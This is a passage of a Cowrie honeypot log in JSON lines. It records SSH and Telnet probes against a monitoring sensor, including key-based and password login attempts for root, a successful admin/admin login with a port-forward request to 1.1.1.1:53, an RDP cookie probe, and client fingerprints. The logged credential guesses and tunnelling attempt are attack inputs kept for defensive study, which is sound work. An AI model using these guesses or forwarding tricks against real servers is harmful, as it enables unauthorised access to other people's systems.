AAAAB3NzaC1yc2EAAAADAQABAAACAQDPlAYLCkPTBimzEvW+LNBIC3uRZQStnTvWRNW3DTExDcE+dcYCtX7GxcYa09SFvQABdymozd3csS8ctg2v0hnucDAlkLu+Mb7MqpSHJLlsYY27F9fkfWOxHstrxj3VuLZbUu/G1e5gctNpbre2/IVqg0MA8N2tSYzqEDa3x6eV0bFbohXKM8WeDT7cWFjAhLNR+T4BUEYzmwRNaXdcMVH9g/fisIf0GmOx0S7qOQ7EEN9I+Juj60QZl6Mj29gJSb7hNJ3dy9p/I/OPbeQId6gFlR+q8AnIx6EK7uKfEO5xG9bP/BMy184MsTcqZOts8gKjqIVwzyNHNB9Xcb8EuK/JyUdt5C/3r+QzGImzggEY5bFUpAqJA6wvNs4v9yxQyfLYxvU+Zt5AOKK0brSHLrFOxH8FXjU9/f2upjLYvpyG0x/trkURUkfK8zfDXsH2b9aIdSFAF+ZP6mVulv7A4qrnUrpgSiVkCPR6M08ZYv1RrcwiFNGBoNNzTevvdJWa3YMoIkBjWJRh/fPoUkdQRFgW+Uv9Q2MoOAEcqLuq/oTKd4W7SpiDaFbijoiA2yKVqH9YjwK7lGlM8fEWiv3vCmgVpYKxYjRigyKluIXcfB0Q3fsEgOxJP5NZDIHmec+Sb2aYe8EDi123kHB7RUN48WwnRiy8dTrz597qWnUKZGASnQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 20:9c:04:45:9a:0d:60:7f:5a:23:bf:69:86:57:76:dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:36:28.583948Z","src_ip":"87.121.69.138","session":"c919739d5895","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"20:9c:04:45:9a:0d:60:7f:5a:23:bf:69:86:57:76:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDPlAYLCkPTBimzEvW+LNBIC3uRZQStnTvWRNW3DTExDcE+dcYCtX7GxcYa09SFvQABdymozd3csS8ctg2v0hnucDAlkLu+Mb7MqpSHJLlsYY27F9fkfWOxHstrxj3VuLZbUu/G1e5gctNpbre2/IVqg0MA8N2tSYzqEDa3x6eV0bFbohXKM8WeDT7cWFjAhLNR+T4BUEYzmwRNaXdcMVH9g/fisIf0GmOx0S7qOQ7EEN9I+Juj60QZl6Mj29gJSb7hNJ3dy9p/I/OPbeQId6gFlR+q8AnIx6EK7uKfEO5xG9bP/BMy184MsTcqZOts8gKjqIVwzyNHNB9Xcb8EuK/JyUdt5C/3r+QzGImzggEY5bFUpAqJA6wvNs4v9yxQyfLYxvU+Zt5AOKK0brSHLrFOxH8FXjU9/f2upjLYvpyG0x/trkURUkfK8zfDXsH2b9aIdSFAF+ZP6mVulv7A4qrnUrpgSiVkCPR6M08ZYv1RrcwiFNGBoNNzTevvdJWa3YMoIkBjWJRh/fPoUkdQRFgW+Uv9Q2MoOAEcqLuq/oTKd4W7SpiDaFbijoiA2yKVqH9YjwK7lGlM8fEWiv3vCmgVpYKxYjRigyKluIXcfB0Q3fsEgOxJP5NZDIHmec+Sb2aYe8EDi123kHB7RUN48WwnRiy8dTrz597qWnUKZGASnQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:36:28.587994Z","src_ip":"87.121.69.138","session":"c919739d5895","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f2:b3:fe:0e:d4:06:d3:a6:0c:12:36:44:49:83:b1:be","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOP/iN4xXkGDiiMD4q0nAu9X4qEdUygvUiU5IBzyyr82","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint f2:b3:fe:0e:d4:06:d3:a6:0c:12:36:44:49:83:b1:be","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:36:28.671522Z","src_ip":"87.121.69.138","session":"c919739d5895","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f2:b3:fe:0e:d4:06:d3:a6:0c:12:36:44:49:83:b1:be","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOP/iN4xXkGDiiMD4q0nAu9X4qEdUygvUiU5IBzyyr82","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:36:28.675428Z","src_ip":"87.121.69.138","session":"c919739d5895","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ed:59:23:be:32:db:a6:95:5b:02:9c:95:3d:90:38:95","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC8iNJASmWKxi8okS6dKabOdGOWv/HAwub+dDtIDmBBUtZuf5IoVlsb7kMRqR8rIVMykyxoFxzf1f1ovFG2m2X4KBKaNaC/Nl4SWAolOwd1w6JFonS5Kvgy8X9x1J+y9x/37JCsjC5lcr7vNFGGA6XkI9MPONqrk8LcJeKxrTV1R7eDix8ENo3JX9PLt1beoM5pbdfDoKamxQ2uq1KW0IOQL2CDY+8DjZorGQ8ZP4X+j+hnxAsnIEG3vo72SFN0O4TMFhRUeVOUiXy4GWOHwhnZrdlfDKrP1SJ+infEVfKzi+2vz37cut1vCoRj/nXomCqfqohNZllAYwnxcfmoljfg53C7UN8u96enb9FGd8MZRKykYUq2mi6BoPoXHHv/06kWDJkHd1v32wqhLaF/ReeXNoP9v72OC3t1QLlJyqmjnJJ3mAaqSYjMGZqrt6xv67Geq4qVk0Fjf/zJG/HIlICDC+w4h1s9ieV4iYIwJXDSHABfhdQq0n1Jcub4y7SiahXd9X0TioBxFpGk4lqLaRQ1VgkuX6pX7QfBH6lRbCDZTt2m9ZTJDa34ObpYqpMix2taRyWjC73hNMxoElMxRM1LfzZ9rHSZl8/z7+Aqs9P6DoEqJRk+BOruxeJja6x5a79NTs40kkwzm454r9JGxkBEY5R92rY524GL08E2yiJTZQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ed:59:23:be:32:db:a6:95:5b:02:9c:95:3d:90:38:95","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:36:28.760094Z","src_ip":"87.121.69.138","session":"c919739d5895","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ed:59:23:be:32:db:a6:95:5b:02:9c:95:3d:90:38:95","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC8iNJASmWKxi8okS6dKabOdGOWv/HAwub+dDtIDmBBUtZuf5IoVlsb7kMRqR8rIVMykyxoFxzf1f1ovFG2m2X4KBKaNaC/Nl4SWAolOwd1w6JFonS5Kvgy8X9x1J+y9x/37JCsjC5lcr7vNFGGA6XkI9MPONqrk8LcJeKxrTV1R7eDix8ENo3JX9PLt1beoM5pbdfDoKamxQ2uq1KW0IOQL2CDY+8DjZorGQ8ZP4X+j+hnxAsnIEG3vo72SFN0O4TMFhRUeVOUiXy4GWOHwhnZrdlfDKrP1SJ+infEVfKzi+2vz37cut1vCoRj/nXomCqfqohNZllAYwnxcfmoljfg53C7UN8u96enb9FGd8MZRKykYUq2mi6BoPoXHHv/06kWDJkHd1v32wqhLaF/ReeXNoP9v72OC3t1QLlJyqmjnJJ3mAaqSYjMGZqrt6xv67Geq4qVk0Fjf/zJG/HIlICDC+w4h1s9ieV4iYIwJXDSHABfhdQq0n1Jcub4y7SiahXd9X0TioBxFpGk4lqLaRQ1VgkuX6pX7QfBH6lRbCDZTt2m9ZTJDa34ObpYqpMix2taRyWjC73hNMxoElMxRM1LfzZ9rHSZl8/z7+Aqs9P6DoEqJRk+BOruxeJja6x5a79NTs40kkwzm454r9JGxkBEY5R92rY524GL08E2yiJTZQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:36:28.763640Z","src_ip":"87.121.69.138","session":"c919739d5895","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:36:28.849138Z","src_ip":"87.121.69.138","session":"c919739d5895","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:36:29.578279Z","src_ip":"103.183.114.55","session":"9f9264c39ee7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":35218,"dst_ip":"159.203.135.109","dst_port":22,"session":"727c4201dc71","protocol":"ssh","message":"New connection: 109.172.54.111:35218 (159.203.135.109:22) [session: 727c4201dc71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:37:40.332911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:37:40.362165Z","src_ip":"109.172.54.111","session":"727c4201dc71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:37:40.462030Z","src_ip":"109.172.54.111","session":"727c4201dc71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyasdfgzxcvb1234","message":"login attempt [root/qwertyasdfgzxcvb1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:37:40.885800Z","src_ip":"109.172.54.111","session":"727c4201dc71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:37:41.989342Z","src_ip":"109.172.54.111","session":"727c4201dc71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":4304,"dst_ip":"10.17.0.5","dst_port":22,"session":"8675034766b3","protocol":"ssh","message":"New connection: 87.251.64.176:4304 (10.17.0.5:22) [session: 8675034766b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:37:49.005446Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:37:49.011178Z","src_ip":"87.251.64.176","session":"8675034766b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:37:49.108195Z","src_ip":"87.251.64.176","session":"8675034766b3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:37:49.401607Z","src_ip":"87.251.64.176","session":"8675034766b3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:37:49.500955Z","session":"8675034766b3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:37:49.598650Z","src_ip":"87.251.64.176","session":"8675034766b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:37:49.697720Z","src_ip":"87.251.64.176","session":"8675034766b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.49.174.86","src_port":53998,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f780bba38a1","protocol":"telnet","message":"New connection: 80.49.174.86:53998 (159.203.135.109:23) [session: 9f780bba38a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:38:12.380079Z"}
{"eventid":"cowrie.session.closed","duration":30.753884077072144,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:38:43.133831Z","src_ip":"80.49.174.86","session":"9f780bba38a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":47238,"dst_ip":"10.17.0.5","dst_port":22,"session":"977a70dabfff","protocol":"ssh","message":"New connection: 62.133.62.83:47238 (10.17.0.5:22) [session: 977a70dabfff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:39:52.250373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:39:52.254728Z","src_ip":"62.133.62.83","session":"977a70dabfff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:39:52.394454Z","src_ip":"62.133.62.83","session":"977a70dabfff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"w66yrybgra","message":"login attempt [root/w66yrybgra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:39:52.699994Z","src_ip":"62.133.62.83","session":"977a70dabfff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:39:53.784960Z","src_ip":"62.133.62.83","session":"977a70dabfff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":58712,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d7130930f63","protocol":"ssh","message":"New connection: 103.176.20.57:58712 (159.203.135.109:22) [session: 2d7130930f63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:40:32.821830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:40:32.825608Z","src_ip":"103.176.20.57","session":"2d7130930f63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:40:33.071777Z","src_ip":"103.176.20.57","session":"2d7130930f63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz","message":"login attempt [root/1qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:40:33.813820Z","src_ip":"103.176.20.57","session":"2d7130930f63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:40:35.066257Z","src_ip":"103.176.20.57","session":"2d7130930f63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":60403,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b2d33124522","protocol":"ssh","message":"New connection: 152.42.212.128:60403 (159.203.135.109:22) [session: 6b2d33124522]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:41:22.831591Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:41:22.835398Z","src_ip":"152.42.212.128","session":"6b2d33124522","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:41:22.838440Z","src_ip":"152.42.212.128","session":"6b2d33124522","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":28878,"dst_ip":"10.17.0.5","dst_port":22,"session":"8fc13f3fbb55","protocol":"ssh","message":"New connection: 87.251.64.176:28878 (10.17.0.5:22) [session: 8fc13f3fbb55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:42:08.144936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:42:08.150028Z","src_ip":"87.251.64.176","session":"8fc13f3fbb55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:42:08.247334Z","src_ip":"87.251.64.176","session":"8fc13f3fbb55","protocol":"ssh"}
